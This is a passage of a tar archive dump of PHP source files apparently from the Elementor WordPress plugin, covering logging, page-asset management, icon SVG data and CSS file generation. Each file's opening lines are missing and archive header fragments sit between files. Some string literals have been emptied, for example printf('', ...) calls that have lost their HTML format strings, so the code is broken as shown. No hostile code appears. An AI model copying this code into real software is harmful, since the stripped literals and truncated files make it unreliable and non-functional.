do_action( 'elementor/loggers/register', $this ); } } public function __construct() { register_shutdown_function( [ $this, 'shutdown' ] ); add_action( 'admin_init', [ $this, 'add_system_info_report' ], 80 ); add_action( 'wp_ajax_elementor_js_log', [ $this, 'js_log' ] ); add_action( 'elementor/loggers/register', [ $this, 'register_default_loggers' ] ); } } core/logger/items/log-item-interface.php000064400000002307147206604650014274 0ustar00file = empty( $args['file'] ) ? '' : $args['file']; $this->line = empty( $args['line'] ) ? '' : $args['line']; } #[\ReturnTypeWillChange] public function jsonSerialize() { $json_arr = parent::jsonSerialize(); $json_arr['file'] = $this->file; $json_arr['line'] = $this->line; return $json_arr; } public function deserialize( $properties ) { parent::deserialize( $properties ); $this->file = ! empty( $properties['file'] ) && is_string( $properties['file'] ) ? $properties['file'] : ''; $this->line = ! empty( $properties['line'] ) && is_string( $properties['line'] ) ? $properties['line'] : ''; } public function get_name() { return 'File'; } } core/logger/items/base.php000064400000012275147206604650011540 0ustar00date = current_time( 'mysql' ); $this->message = ! empty( $args['message'] ) ? esc_html( $args['message'] ) : ''; $this->type = ! empty( $args['type'] ) ? $args['type'] : 'info'; $this->meta = ! empty( $args['meta'] ) ? $args['meta'] : []; $this->args = $args; $this->set_trace(); } public function __get( $name ) { if ( property_exists( $this, $name ) ) { return $this->{$name}; } return ''; } public function __toString() { $vars = get_object_vars( $this ); return strtr( static::FORMAT, $vars ); } #[\ReturnTypeWillChange] public function jsonSerialize() { return [ 'class' => get_class( $this ), 'item' => [ 'date' => $this->date, 'message' => $this->message, 'type' => $this->type, 'meta' => $this->meta, 'times' => $this->times, 'times_dates' => $this->times_dates, 'args' => $this->args, ], ]; } public function deserialize( $properties ) { $this->date = ! empty( $properties['date'] ) && is_string( $properties['date'] ) ? $properties['date'] : ''; $this->message = ! empty( $properties['message'] ) && is_string( $properties['message'] ) ? $properties['message'] : ''; $this->type = ! empty( $properties['type'] ) && is_string( $properties['type'] ) ? $properties['type'] : ''; $this->meta = ! empty( $properties['meta'] ) && is_array( $properties['meta'] ) ? $properties['meta'] : []; $this->times = ! empty( $properties['times'] ) && is_string( $properties['times'] ) ? $properties['times'] : ''; $this->times_dates = ! empty( $properties['times_dates'] ) && is_array( $properties['times_dates'] ) ? $properties['times_dates'] : []; $this->args = ! empty( $properties['args'] ) && is_array( $properties['args'] ) ? $properties['args'] : []; } /** * @return Log_Item_Interface | null */ public static function from_json( $str ) { $obj = json_decode( $str, true ); if ( ! array_key_exists( 'class', $obj ) ) { return null; } $class = $obj['class']; if ( class_exists( $class ) ) { /** @var Base $item */ $item = new $class( $obj['item']['message'] ); $item->deserialize( $obj['item'] ); return $item; } return null; } public function to_formatted_string( $output_format = 'html' ) { $vars = get_object_vars( $this ); $format = static::FORMAT; if ( 'html' === $output_format ) { $format = str_replace( 'message', 'message', static::FORMAT ); } if ( empty( $vars['meta'] ) ) { $format = str_replace( '[meta]', '', $format ); } else { $vars['meta'] = stripslashes( var_export( $vars['meta'], true ) ); // @codingStandardsIgnoreLine } return strtr( $format, $vars ); } public function get_fingerprint() { $unique_key = $this->type . $this->message . var_export( $this->meta, true ); // @codingStandardsIgnoreLine //info messages are not be aggregated: if ( 'info' === $this->type ) { $unique_key .= $this->date; } return md5( $unique_key ); } public function increase_times( $item, $truncate = true ) { $this->times++; $this->times_dates[] = $item->date; if ( $truncate && ( self::MAX_LOG_ENTRIES < count( $this->times_dates ) ) ) { $this->times_dates = array_slice( $this->times_dates, -self::MAX_LOG_ENTRIES ); } } public function format( $format = 'html' ) { $trace = $this->format_trace(); if ( empty( $trace ) ) { return $this->to_formatted_string( $format ); } $copy = clone $this; $copy->meta['trace'] = $trace; return $copy->to_formatted_string( $format ); } public function get_name() { return 'Log'; } private function format_trace() { $trace = empty( $this->meta['trace'] ) ? '' : $this->meta['trace']; if ( is_string( $trace ) ) { return $trace; } $trace_str = ''; foreach ( $trace as $key => $trace_line ) { $format = static::TRACE_FORMAT; $trace_line['key'] = $key; if ( empty( $trace_line['file'] ) ) { $format = str_replace( 'file(line): ', '', $format ); } $trace_str .= PHP_EOL . strtr( $format, $trace_line ); $trace_str .= empty( $trace_line['args'] ) ? '' : var_export( $trace_line['args'], true ); // @codingStandardsIgnoreLine } return $trace_str . PHP_EOL; } private function set_trace() { if ( ! empty( $this->args['trace'] ) && true === $this->args['trace'] ) { $limit = empty( $this->args['trace_limit'] ) ? static::TRACE_LIMIT : $this->args['trace_limit']; $stack = debug_backtrace( DEBUG_BACKTRACE_IGNORE_ARGS ); // @codingStandardsIgnoreLine while ( ! empty( $stack ) && ! empty( $stack[0]['file'] ) && ( false !== strpos( $stack[0]['file'], 'core' . DIRECTORY_SEPARATOR . 'logger' ) ) ) { array_shift( $stack ); } $this->meta['trace'] = array_slice( $stack, 0, $limit ); return; } if ( is_array( $this->args ) ) { unset( $this->args['trace'] ); } } } core/logger/items/js.php000064400000001536147206604650011240 0ustar00column = $args['column']; $this->file = $args['url']; $this->date = gmdate( 'Y-m-d H:i:s', $args['timestamp'] ); } #[\ReturnTypeWillChange] public function jsonSerialize() { $json_arr = parent::jsonSerialize(); $json_arr['column'] = $this->column; return $json_arr; } public function deserialize( $properties ) { parent::deserialize( $properties ); $this->column = ! empty( $properties['column'] ) && is_string( $properties['column'] ) ? $properties['column'] : ''; } public function get_name() { return 'JS'; } } core/logger/items/php.php000064400000000412147206604650011403 0ustar00 $this->init_styles(), 'scripts' => [], ]; $this->assets = $assets; } private function init_styles(): array { $styles = [ // TODO: Remove the 'e-animations' registration in v3.26.0 [ED-15471]. 'e-animations' => [ 'src' => $this->get_css_assets_url( 'animations', 'assets/lib/animations/', true ), 'version' => ELEMENTOR_VERSION, 'dependencies' => [], ], 'e-shapes' => [ 'src' => $this->get_css_assets_url( 'shapes', 'assets/css/conditionals/' ), 'version' => ELEMENTOR_VERSION, 'dependencies' => [], ], 'e-swiper' => [ 'src' => $this->get_css_assets_url( 'e-swiper', 'assets/css/conditionals/' ), 'version' => ELEMENTOR_VERSION, 'dependencies' => [ 'swiper' ], ], 'swiper' => [ 'src' => $this->get_css_assets_url( 'swiper', $this->getSwiperPath() ), 'version' => $this->getSwiperVersion(), 'dependencies' => [], ], ]; return array_merge( $styles, $this->get_animation_styles() ); } private function getSwiperPath(): string { return Plugin::$instance->experiments->is_feature_active( 'e_swiper_latest' ) ? 'assets/lib/swiper/v8/css/' : 'assets/lib/swiper/css/'; } private function getSwiperVersion(): string { return Plugin::$instance->experiments->is_feature_active( 'e_swiper_latest' ) ? '8.4.5' : '5.3.6'; } private function get_animations(): array { $grouped_animations = Control_Animation::get_animations(); $grouped_animations['hover'] = Control_Hover_Animation::get_animations(); $exit_animations = Control_Exit_Animation::get_animations(); $grouped_animations = array_merge( $grouped_animations, $exit_animations ); $animations = []; foreach ( $grouped_animations as $group_label => $group ) { foreach ( $group as $animation_key => $animation_label ) { $animations[ $animation_key ] = $group_label; } } return $animations; } private function get_animation_styles(): array { $animations = $this->get_animations(); $styles = []; foreach ( $animations as $animation => $group_label ) { $style_prefix = 'hover' === $group_label ? 'e-animation-' : ''; $styles[ 'e-animation-' . $animation ] = [ 'src' => $this->get_css_assets_url( $style_prefix . $animation, 'assets/lib/animations/styles/' ), 'version' => ELEMENTOR_VERSION, 'dependencies' => [], ]; } return $styles; } public function get_assets(): array { if ( ! $this->assets ) { $this->init_assets(); } return $this->assets; } /** * @param array $assets { * @type array 'styles' * @type array 'scripts' * } */ public function enable_assets( array $assets_data ): void { if ( ! $this->assets ) { $this->init_assets(); } foreach ( $assets_data as $assets_type => $assets_list ) { foreach ( $assets_list as $asset_name ) { $this->assets[ $assets_type ][ $asset_name ]['enabled'] = true; if ( 'scripts' === $assets_type ) { wp_enqueue_script( $asset_name ); } else { wp_enqueue_style( $asset_name ); } } } } /** * @param array $assets { * @type array 'styles' * @type array 'scripts' * } */ public function add_assets( array $assets ): void { if ( ! $this->assets ) { $this->init_assets(); } $this->assets = array_replace_recursive( $this->assets, $assets ); } /** * @deprecated 3.22.0 */ public function enqueue_assets(): void { $assets = $this->get_assets(); $is_preview_mode = Plugin::$instance->preview->is_preview_mode(); foreach ( $assets as $assets_type => $assets_type_data ) { foreach ( $assets_type_data as $asset_name => $asset_data ) { if ( empty( $asset_data['src'] ) ) { continue; } if ( ! empty( $asset_data['enabled'] ) || $is_preview_mode ) { if ( 'scripts' === $assets_type ) { wp_enqueue_script( $asset_name, $asset_data['src'], $asset_data['dependencies'], $asset_data['version'], true ); } else { // TODO: Remove the 'e-animations' registration in v3.26.0 [ED-15471]. if ( $this->skip_animations_style( $asset_name ) ) { continue; } wp_enqueue_style( $asset_name, $asset_data['src'], $asset_data['dependencies'], $asset_data['version'] ); } } } } } // TODO: Remove the 'e-animations' registration in v3.26.0 [ED-15471]. private function skip_animations_style( $asset_name ): bool { $is_preview = Plugin::$instance->preview->is_preview_mode(); return $is_preview && 'e-animations' === $asset_name; } private function register_assets(): void { $assets = $this->get_assets(); foreach ( $assets as $assets_type => $assets_type_data ) { foreach ( $assets_type_data as $asset_name => $asset_data ) { if ( 'scripts' === $assets_type ) { wp_register_script( $asset_name, $asset_data['src'], $asset_data['dependencies'], $asset_data['version'], true ); } else { wp_register_style( $asset_name, $asset_data['src'], $asset_data['dependencies'], $asset_data['version'] ); } } } } public function __construct() { parent::__construct(); $this->register_assets(); } } core/page-assets/data-managers/widgets-css.php000064400000001150147206604650015370 0ustar00get_file_data( 'exists' ); $widget_css = ''; if ( $asset_css_file_exists ) { $asset_url = $this->get_config_data( 'file_url' ); $widget_css = sprintf( '', $asset_url ); } return $widget_css; } } core/page-assets/data-managers/base.php000064400000016043147206604650014055 0ustar00assets_config['key']; } /** * Get Relative Version. * * The asset data will be re-evaluated according the version number. * * @since 3.3.0 * @access protected * * @return string */ protected function get_version() { return $this->assets_config['version']; } /** * Get Asset Path. * * The asset data will be extracted from the file path. * * @since 3.3.0 * @access protected * * @return string */ protected function get_file_path() { return $this->assets_config['file_path']; } /** * Get Config Data. * * Holds a unique data relevant for the specific assets category type. * * @since 3.3.0 * @access protected * * @return string|array */ protected function get_config_data( $key = '' ) { if ( isset( $this->assets_config['data'] ) ) { if ( $key ) { if ( isset( $this->assets_config['data'][ $key ] ) ) { return $this->assets_config['data'][ $key ]; } return ''; } return $this->assets_config['data']; } return []; } /** * Set Asset Data. * * Responsible for setting the current asset data. * * @since 3.3.0 * @access protected * * @return void */ protected function set_asset_data( $asset_key ) { if ( ! isset( $this->assets_data[ $asset_key ] ) ) { $this->assets_data[ $asset_key ] = []; } $this->assets_data[ $asset_key ]['content'] = $this->get_asset_content(); $this->assets_data[ $asset_key ]['version'] = $this->get_version(); $this->save_asset_data( $asset_key ); } /** * Save Asset Data. * * Responsible for saving the asset data in the DB. * * @since 3.3.0 * @access protected * * @param string $asset_key * * @return void */ protected function save_asset_data( $asset_key ) { $assets_data = $this->get_saved_assets_data(); $content_type = $this->content_type; $assets_category = $this->assets_category; $assets_data[ $content_type ][ $assets_category ][ $asset_key ] = $this->assets_data[ $asset_key ]; update_option( self::ASSETS_DATA_KEY, $assets_data ); } /** * Is Asset Version Changed. * * Responsible for comparing the saved asset data version to the current relative version. * * @since 3.3.0 * @access protected * * @param string $asset_key * * @return boolean */ protected function is_asset_version_changed( $version ) { return $this->get_version() !== $version; } /** * Get File Data. * * Getting a file content or size. * * @since 3.3.0 * @access protected * * @param string $data_type (exists|content|size) * @param string $file_key - In case that the same file data is needed for multiple assets (like a JSON file), the file data key should be the same for all shared assets to make sure that the file is being read only once. * * @return string|number */ protected function get_file_data( $data_type, $file_key = '' ) { $asset_key = $file_key ? $file_key : $this->get_key(); if ( isset( $this->files_data[ $asset_key ][ $data_type ] ) ) { return $this->files_data[ $asset_key ][ $data_type ]; } if ( ! isset( $this->files_data[ $asset_key ] ) ) { $this->files_data[ $asset_key ] = []; } $asset_path = $this->get_file_path(); if ( 'exists' === $data_type ) { $data = file_exists( $asset_path ); } elseif ( 'content' === $data_type ) { $data = Utils::file_get_contents( $asset_path ); if ( ! $data ) { $data = ''; } } elseif ( 'size' === $data_type ) { $data = file_exists( $asset_path ) ? filesize( $asset_path ) : 0; } $this->files_data[ $asset_key ][ $data_type ] = $data; return $data; } /** * Get Saved Assets Data. * * Getting the assets data from the DB. * * @since 3.3.0 * @access protected * * @return array */ protected function get_saved_assets_data() { $assets_data = get_option( self::ASSETS_DATA_KEY, [] ); $content_type = $this->content_type; $assets_category = $this->assets_category; if ( ! isset( $assets_data[ $content_type ] ) ) { $assets_data[ $content_type ] = []; } if ( ! isset( $assets_data[ $content_type ][ $assets_category ] ) ) { $assets_data[ $content_type ][ $assets_category ] = []; } return $assets_data; } /** * Get Config. * * Getting the assets data config. * * @since 3.5.0 * @access protected * * @return array */ protected function get_config( $data ) { return []; } /** * Init Asset Data. * * Initialize the asset data and handles the asset content updates when needed. * * @since 3.3.0 * @access public * * @param array $config { * @type string 'key' * @type string 'version' * @type string 'file_path' * @type array 'data' * } * * @return void */ public function init_asset_data( $config ) { $this->assets_config = $config; $asset_key = $config['key']; $asset_data = isset( $this->assets_data[ $asset_key ] ) ? $this->assets_data[ $asset_key ] : []; if ( ! $asset_data || $this->is_asset_version_changed( $asset_data['version'] ) ) { $this->set_asset_data( $asset_key ); } } /** * Get Asset Data From Config. * * Getting the asset data content from config. * * @since 3.3.0 * @access public * * @param array $config { * @type string 'key' * @type string 'version' * @type string 'file_path' * @type array 'data' * } * * @return mixed */ public function get_asset_data_from_config( array $config ) { $this->init_asset_data( $config ); $asset_key = $config['key']; return $this->assets_data[ $asset_key ]['content']; } /** * Get Asset Data. * * Getting the asset data content. * * @since 3.5.0 * @access public * * @param array $data * * @return mixed */ public function get_asset_data( array $data ) { $config = $this->get_config( $data ); return $this->get_asset_data_from_config( $config ); } public function __construct() { $assets_data = $this->get_saved_assets_data(); $content_type = $this->content_type; $assets_category = $this->assets_category; $this->assets_data = $assets_data[ $content_type ][ $assets_category ]; } } core/page-assets/data-managers/font-icon-svg/base.php000064400000000673147206604650016550 0ustar00 $icon_key, 'version' => self::LIBRARY_CURRENT_VERSION, 'file_path' => ELEMENTOR_ASSETS_PATH . 'lib/font-awesome/json/' . $icon_file_name . '.json', 'data' => [ 'icon_data' => [ 'name' => $icon_name, 'library' => $icon['library'], ], ], ]; } protected function get_asset_content() { $icon_data = $this->get_config_data( 'icon_data' ); $file_data = json_decode( $this->get_file_data( 'content', $icon_data['library'] ), true ); $icon_name = $icon_data['name']; $svg_data = $file_data['icons'][ $icon_name ]; return [ 'width' => $svg_data[0], 'height' => $svg_data[1], 'path' => $svg_data[4], 'key' => $this->get_key(), ]; } } core/page-assets/data-managers/font-icon-svg/manager.php000064400000002064147206604650017244 0ustar00 [ 'regex' => '/^fa-/', 'manager' => new Font_Awesome(), ], 'eicons' => [ 'regex' => '/^eicons$/', 'manager' => new E_Icons(), ], ]; } return self::$data; } public static function get_font_icon_svg_data( $icon ) { $data = self::get_data(); $font_family = $icon['font_family']; $font_family_manager = $data[ $font_family ]['manager']; return $font_family_manager->get_asset_data( $icon ); } public static function get_font_family( $icon_library ) { foreach ( self::get_data() as $family => $data ) { if ( preg_match( $data['regex'], $icon_library ) ) { return $family; } } return ''; } } core/page-assets/data-managers/font-icon-svg/e-icons.php000064400000002011147206604650017157 0ustar00 $icon['value'], 'version' => self::LIBRARY_CURRENT_VERSION, 'file_path' => ELEMENTOR_ASSETS_PATH . 'lib/eicons/eicons.json', 'data' => [ 'icon_data' => [ 'name' => $icon['value'], 'library' => $icon['library'], ], ], ]; } protected function get_asset_content() { $icon_data = $this->get_config_data( 'icon_data' ); $file_data = json_decode( $this->get_file_data( 'content', $icon_data['library'] ), true ); $icon_name = str_replace( 'eicon-', '', $icon_data['name'] ); $svg_data = $file_data[ $icon_name ]; return [ 'width' => $svg_data['width'], 'height' => $svg_data['height'], 'path' => $svg_data['path'], 'key' => $this->get_key(), ]; } } core/page-assets/data-managers/responsive-widgets.php000064400000001153147206604650017000 0ustar00get_file_data( 'content' ); if ( $data ) { $data = json_decode( $data, true ); } return $data; } } core/files/css/post-preview.php000064400000002375147206604650012564 0ustar00post_id_for_data = $post_id; $parent_id = wp_get_post_parent_id( $post_id ); parent::__construct( $parent_id ); } protected function get_post_id_for_data() { return $this->post_id_for_data; } /** * Get file handle ID. * * Retrieve the handle ID for the previewed post CSS file. * * @since 1.9.0 * @access protected * * @return string CSS file handle ID. */ protected function get_file_handle_id() { return 'elementor-preview-' . $this->get_post_id_for_data(); } } core/files/css/global-css.php000064400000007670147206604650012151 0ustar00render_schemes_and_globals_css(); } /** * Get inline dependency. * * Retrieve the name of the stylesheet used by `wp_add_inline_style()`. * * @since 1.2.0 * @access protected * * @return string Name of the stylesheet. */ protected function get_inline_dependency() { return 'elementor-frontend'; } /** * Is update required. * * Whether the CSS requires an update. When there are new schemes or settings * updates. * * @since 1.2.0 * @access protected * * @return bool True if the CSS requires an update, False otherwise. */ protected function is_update_required() { return $this->get_meta( 'time' ) < get_option( Settings::UPDATE_TIME_FIELD ); } /** * Render schemes CSS. * * Parse the CSS for all the widgets and all the scheme controls. * * @since 1.2.0 * @access private */ private function render_schemes_and_globals_css() { $elementor = Plugin::$instance; /** @var Manager $module */ $kits_manager = Plugin::$instance->kits_manager; $custom_colors_enabled = $kits_manager->is_custom_colors_enabled(); $custom_typography_enabled = $kits_manager->is_custom_typography_enabled(); // If both default colors and typography are disabled, there is no need to render schemes and default global css. if ( ! $custom_colors_enabled && ! $custom_typography_enabled ) { return; } foreach ( $elementor->widgets_manager->get_widget_types() as $widget ) { $controls = $widget->get_controls(); $global_controls = []; $global_values['__globals__'] = []; foreach ( $controls as $control ) { $is_color_control = 'color' === $control['type']; $is_typography_control = isset( $control['groupType'] ) && 'typography' === $control['groupType']; // If it is a color/typography control and default colors/typography are disabled, // don't add the default CSS. if ( ( $is_color_control && ! $custom_colors_enabled ) || ( $is_typography_control && ! $custom_typography_enabled ) ) { continue; } $global_control = $control; // Handle group controls that don't have a default global property. if ( ! empty( $control['groupType'] ) ) { $global_control = $controls[ $control['groupPrefix'] . $control['groupType'] ]; } // If the control has a default global defined, add it to the globals array // that is used in add_control_rules. if ( ! empty( $control['global']['default'] ) ) { $global_values['__globals__'][ $control['name'] ] = $global_control['global']['default']; } if ( ! empty( $global_control['global']['default'] ) ) { $global_controls[] = $control; } } foreach ( $global_controls as $control ) { $this->add_control_rules( $control, $controls, function( $control ) {}, [ '{{WRAPPER}}' ], [ '.elementor-widget-' . $widget->get_name() ], $global_values ); } } } } core/files/css/base.php000064400000066175147206604650011042 0ustar00update_file(); $meta = $this->get_meta(); $meta['time'] = time(); $content = $this->get_content(); if ( empty( $content ) ) { $meta['status'] = self::CSS_STATUS_EMPTY; $meta['css'] = ''; } else { $use_external_file = $this->use_external_file(); if ( $use_external_file ) { $meta['status'] = self::CSS_STATUS_FILE; } else { $meta['status'] = self::CSS_STATUS_INLINE; $meta['css'] = $content; } } $meta['dynamic_elements_ids'] = $this->dynamic_elements_ids; $this->update_meta( $meta ); } /** * @since 2.1.0 * @access public */ public function write() { if ( $this->use_external_file() ) { parent::write(); } } /** * @since 3.0.0 * @access public */ public function delete() { if ( $this->use_external_file() ) { parent::delete(); } else { $this->delete_meta(); } } /** * Get Responsive Control Duplication Mode * * @since 3.4.0 * * @return string */ protected function get_responsive_control_duplication_mode() { return 'on'; } /** * Enqueue CSS. * * Either enqueue the CSS file in Elementor or add inline style. * * This method is also responsible for loading the fonts. * * @since 1.2.0 * @access public */ public function enqueue() { $handle_id = $this->get_file_handle_id(); if ( isset( self::$printed[ $handle_id ] ) ) { return; } self::$printed[ $handle_id ] = true; $meta = $this->get_meta(); if ( self::CSS_STATUS_EMPTY === $meta['status'] ) { return; } /** * Enqueue CSS file. * * Fires before enqueuing a CSS file. * * @param Base $this The current CSS file. */ do_action( 'elementor/css-file/before_enqueue', $this ); // First time after clear cache and etc. if ( '' === $meta['status'] || $this->is_update_required() ) { $this->update(); $meta = $this->get_meta(); } if ( self::CSS_STATUS_INLINE === $meta['status'] ) { $dep = $this->get_inline_dependency(); // If the dependency has already been printed ( like a template in footer ) if ( wp_styles()->query( $dep, 'done' ) ) { printf( '', $this->get_file_handle_id(), $meta['css'] ); // XSS ok. } else { wp_add_inline_style( $dep, $meta['css'] ); } } elseif ( self::CSS_STATUS_FILE === $meta['status'] ) { // Re-check if it's not empty after CSS update. wp_enqueue_style( $this->get_file_handle_id(), $this->get_url(), $this->get_enqueue_dependencies(), null ); // phpcs:ignore WordPress.WP.EnqueuedResourceParameters.MissingVersion } // Handle fonts. if ( ! empty( $meta['fonts'] ) ) { foreach ( $meta['fonts'] as $font ) { Plugin::$instance->frontend->enqueue_font( $font ); } } if ( ! empty( $meta['icons'] ) ) { $icons_types = Icons_Manager::get_icon_manager_tabs(); foreach ( $meta['icons'] as $icon_font ) { if ( ! isset( $icons_types[ $icon_font ] ) ) { continue; } Plugin::$instance->frontend->enqueue_font( $icon_font ); } } $name = $this->get_name(); /** * Enqueue CSS file. * * Fires when CSS file is enqueued on Elementor. * * The dynamic portion of the hook name, `$name`, refers to the CSS file name. * * @since 2.0.0 * * @param Base $this The current CSS file. */ do_action( "elementor/css-file/{$name}/enqueue", $this ); /** * Enqueue CSS file. * * Fires after enqueuing a CSS file. * * @param Base $this The current CSS file. */ do_action( 'elementor/css-file/after_enqueue', $this ); } /** * Print CSS. * * Output the final CSS inside the `'; // XSS ok. Plugin::$instance->frontend->print_fonts_links(); } /** * Add control rules. * * Parse the CSS for all the elements inside any given control. * * This method recursively renders the CSS for all the selectors in the control. * * @since 1.2.0 * @access public * * @param array $control The controls. * @param array $controls_stack The controls stack. * @param callable $value_callback Callback function for the value. * @param array $placeholders Placeholders. * @param array $replacements Replacements. * @param array $values Global Values. */ public function add_control_rules( array $control, array $controls_stack, callable $value_callback, array $placeholders, array $replacements, array $values = [] ) { if ( empty( $control['selectors'] ) ) { return; } $control_global_key = $control['name']; if ( ! empty( $control['groupType'] ) ) { $control_global_key = $control['groupPrefix'] . $control['groupType']; } $global_values = []; $global_key = ''; if ( ! empty( $values['__globals__'] ) ) { $global_values = $values['__globals__']; } if ( ! empty( $global_values[ $control_global_key ] ) ) { $global_key = $global_values[ $control_global_key ]; } if ( ! $global_key ) { $value = call_user_func( $value_callback, $control ); if ( null === $value ) { return; } } $stylesheet = $this->get_stylesheet(); $control = apply_filters( 'elementor/files/css/selectors', $control, $value ?? [], $this ); foreach ( $control['selectors'] as $selector => $css_property ) { $output_css_property = ''; if ( $global_key ) { $selector_global_value = $this->get_selector_global_value( $control, $global_key ); if ( $selector_global_value ) { $output_css_property = preg_replace( '/(:)[^;]+(;?)/', '$1' . $selector_global_value . '$2', $css_property ); } } else { try { if ( $this->unit_has_custom_selector( $control, $value ) ) { $css_property = $control['unit_selectors_dictionary'][ $value['unit'] ]; } $output_css_property = preg_replace_callback( '/{{(?:([^.}]+)\.)?([^}| ]*)(?: *\|\| *(?:([^.}]+)\.)?([^}| ]*) *)*}}/', function( $matches ) use ( $control, $value_callback, $controls_stack, $value, $css_property ) { $external_control_missing = $matches[1] && ! isset( $controls_stack[ $matches[1] ] ); $parsed_value = ''; $value = apply_filters( 'elementor/files/css/property', $value, $css_property, $matches, $control ); if ( ! $external_control_missing ) { $parsed_value = $this->parse_property_placeholder( $control, $value, $controls_stack, $value_callback, $matches[2], $matches[1] ); } if ( '' === $parsed_value ) { if ( isset( $matches[4] ) ) { $parsed_value = $matches[4]; $is_string_value = preg_match( '/^([\'"])(.*)\1$/', $parsed_value, $string_matches ); if ( $is_string_value ) { $parsed_value = $string_matches[2]; } elseif ( ! is_numeric( $parsed_value ) ) { if ( $matches[3] && ! isset( $controls_stack[ $matches[3] ] ) ) { return ''; } $parsed_value = $this->parse_property_placeholder( $control, $value, $controls_stack, $value_callback, $matches[4], $matches[3] ); } } if ( '' === $parsed_value ) { if ( $external_control_missing ) { return ''; } throw new \Exception(); } } if ( '__EMPTY__' === $parsed_value ) { $parsed_value = ''; } return $parsed_value; }, $css_property ); } catch ( \Exception $e ) { return; } } if ( ! $output_css_property ) { continue; } $device_pattern = '/^(?:\([^\)]+\)){1,2}/'; preg_match( $device_pattern, $selector, $device_rules ); $query = []; if ( $device_rules ) { $selector = preg_replace( $device_pattern, '', $selector ); preg_match_all( '/\(([^)]+)\)/', $device_rules[0], $pure_device_rules ); $pure_device_rules = $pure_device_rules[1]; foreach ( $pure_device_rules as $device_rule ) { if ( Breakpoints_Manager::BREAKPOINT_KEY_DESKTOP === $device_rule ) { continue; } $device = preg_replace( '/\+$/', '', $device_rule ); $endpoint = $device === $device_rule ? 'max' : 'min'; $query[ $endpoint ] = $device; } } $parsed_selector = str_replace( $placeholders, $replacements, $selector ); if ( ! $query && ! empty( $control['responsive'] ) ) { $query = array_intersect_key( $control['responsive'], array_flip( [ 'min', 'max' ] ) ); if ( ! empty( $query['max'] ) && Breakpoints_Manager::BREAKPOINT_KEY_DESKTOP === $query['max'] ) { unset( $query['max'] ); } } $stylesheet->add_rules( $parsed_selector, $output_css_property, $query ); } } protected function unit_has_custom_selector( $control, $value ) { return isset( $control['unit_selectors_dictionary'] ) && isset( $control['unit_selectors_dictionary'][ $value['unit'] ] ); } /** * @param array $control * @param mixed $value * @param array $controls_stack * @param callable $value_callback * @param string $placeholder * @param string $parser_control_name * * @return string */ public function parse_property_placeholder( array $control, $value, array $controls_stack, $value_callback, $placeholder, $parser_control_name = null ) { if ( $parser_control_name ) { // If both the processed control and the control name found in the placeholder are responsive if ( ! empty( $control['responsive'] ) && ! empty( $controls_stack[ $parser_control_name ]['responsive'] ) ) { $device_suffix = Controls_Manager::get_responsive_control_device_suffix( $control ); $control = $controls_stack[ $parser_control_name . $device_suffix ] ?? $controls_stack[ $parser_control_name ]; } else { $control = $controls_stack[ $parser_control_name ]; } $value = call_user_func( $value_callback, $control ); } // If the control value is empty, check for global default. `0` (integer, string) are falsy but are valid values. if ( empty( $value ) && '0' !== $value && 0 !== $value ) { $value = $this->get_control_global_default_value( $control ); } if ( Controls_Manager::FONT === $control['type'] ) { $this->fonts[] = $value; } /** @var Base_Data_Control $control_obj */ $control_obj = Plugin::$instance->controls_manager->get_control( $control['type'] ); return (string) $control_obj->get_style_value( $placeholder, $value, $control ); } /** * Get the fonts. * * Retrieve the list of fonts. * * @since 1.9.0 * @access public * * @return array Fonts. */ public function get_fonts() { return $this->fonts; } /** * Get stylesheet. * * Retrieve the CSS file stylesheet instance. * * @since 1.2.0 * @access public * * @return Stylesheet The stylesheet object. */ public function get_stylesheet() { if ( ! $this->stylesheet_obj ) { $this->init_stylesheet(); } return $this->stylesheet_obj; } /** * Add controls stack style rules. * * Parse the CSS for all the elements inside any given controls stack. * * This method recursively renders the CSS for all the child elements in the stack. * * @since 1.6.0 * @access public * * @param Controls_Stack $controls_stack The controls stack. * @param array $controls Controls array. * @param array $values Values array. * @param array $placeholders Placeholders. * @param array $replacements Replacements. * @param array $all_controls All controls. */ public function add_controls_stack_style_rules( Controls_Stack $controls_stack, array $controls, array $values, array $placeholders, array $replacements, array $all_controls = null ) { if ( ! $all_controls ) { $all_controls = $controls_stack->get_controls(); } $parsed_dynamic_settings = $controls_stack->parse_dynamic_settings( $values, $controls ); foreach ( $controls as $control ) { if ( ! empty( $control['style_fields'] ) ) { $this->add_repeater_control_style_rules( $controls_stack, $control, $values[ $control['name'] ], $placeholders, $replacements ); } if ( ! empty( $control[ Manager::DYNAMIC_SETTING_KEY ][ $control['name'] ] ) ) { $this->add_dynamic_control_style_rules( $control, $control[ Manager::DYNAMIC_SETTING_KEY ][ $control['name'] ] ); } if ( Controls_Manager::ICONS === $control['type'] ) { $this->icons_fonts[] = $values[ $control['name'] ]['library']; } if ( ! empty( $parsed_dynamic_settings[ Manager::DYNAMIC_SETTING_KEY ][ $control['name'] ] ) ) { // Dynamic CSS should not be added to the CSS files. // Instead it's handled by \Elementor\Core\DynamicTags\Dynamic_CSS // and printed in a style tag. unset( $parsed_dynamic_settings[ $control['name'] ] ); $this->dynamic_elements_ids[] = $controls_stack->get_id(); continue; } if ( empty( $control['selectors'] ) ) { continue; } $this->add_control_style_rules( $control, $parsed_dynamic_settings, $all_controls, $placeholders, $replacements ); } } /** * Get file handle ID. * * Retrieve the file handle ID. * * @since 1.2.0 * @access protected * @abstract * * @return string CSS file handle ID. */ abstract protected function get_file_handle_id(); /** * Render CSS. * * Parse the CSS. * * @since 1.2.0 * @access protected * @abstract */ abstract protected function render_css(); protected function get_default_meta() { return array_merge( parent::get_default_meta(), [ 'fonts' => array_unique( $this->fonts ), 'icons' => array_unique( $this->icons_fonts ), 'dynamic_elements_ids' => [], 'status' => '', ] ); } /** * Get enqueue dependencies. * * Retrieve the name of the stylesheet used by `wp_enqueue_style()`. * * @since 1.2.0 * @access protected * * @return array Name of the stylesheet. */ protected function get_enqueue_dependencies() { return []; } /** * Get inline dependency. * * Retrieve the name of the stylesheet used by `wp_add_inline_style()`. * * @since 1.2.0 * @access protected * * @return string Name of the stylesheet. */ protected function get_inline_dependency() { return ''; } /** * Is update required. * * Whether the CSS requires an update. When there are new schemes or settings * updates. * * @since 1.2.0 * @access protected * * @return bool True if the CSS requires an update, False otherwise. */ protected function is_update_required() { return false; } /** * Parse CSS. * * Parsing the CSS file. * * @since 1.2.0 * @access protected */ protected function parse_content() { Performance::set_use_style_controls( true ); $initial_responsive_controls_duplication_mode = Plugin::$instance->breakpoints->get_responsive_control_duplication_mode(); Plugin::$instance->breakpoints->set_responsive_control_duplication_mode( $this->get_responsive_control_duplication_mode() ); $this->render_css(); $name = $this->get_name(); /** * Parse CSS file. * * Fires when CSS file is parsed on Elementor. * 